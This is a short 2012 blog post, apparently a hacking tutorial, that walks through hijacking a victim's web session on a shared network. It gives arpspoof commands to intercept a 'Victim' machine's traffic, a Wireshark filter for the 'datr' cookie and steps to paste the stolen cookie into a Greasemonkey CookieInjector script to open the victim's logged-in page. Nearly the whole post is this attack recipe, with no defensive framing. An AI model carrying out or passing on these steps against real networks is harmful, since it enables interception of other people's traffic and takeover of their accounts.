Tuesday, August 28, 2012

CookieInjector using Greasemonkey

Tools
--------
1.Arpspoof
2.Mozilla Browser :)
3.Greasemonkey Addon ;)
4.CookieInjector Script >:)
5.Wireshark


How to Used CookieInjector with Greasemonkey.
==============================

1)Turning on Port Forwarding

$ sudo echo 1 >> /proc/sys/net/ipv4/ip_forward

2)Arpspoof from Gateway towards Victim

$ sudo arpspoof -i wlan0 -t (Victim ip) (Default gateway)

3)Arpspoof from (Victim) towards (Default Gateway)

$ sudo arpspoof -i wlan0 -t (Default gateway) (Victim ip)

4.Fire Up Wireshark and sniff on Wlan0

#wireshark

5.Put in Filter Expression  in Wireshark

   http.cookie contains datr

6.Copy the cookie with "GET" label

   right click--copy--Bytes--Printable Byte Only

7. Hit ALT -C to bring up CookieInjector Script and paste the cookie that being copied.

8.Click Yes and It will overwrite cookies files

9.That is Victim Page..

-=EOS=-

No comments:

Post a Comment